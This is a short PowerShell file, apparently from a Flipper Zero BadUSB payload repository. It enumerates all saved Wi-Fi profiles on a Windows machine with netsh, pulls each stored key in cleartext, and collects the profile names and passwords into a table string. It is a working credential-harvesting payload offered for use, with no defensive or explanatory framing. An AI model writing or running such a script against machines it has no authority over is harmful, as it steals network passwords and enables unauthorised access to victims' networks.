Flipper-Zero-BadUSB/Payloads/Scripts/WifiPasswords.ps1
2023-01-08 23:24:31 -06:00

3 lines
370 B
PowerShell

# https://jakoby.lol/n89
(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-String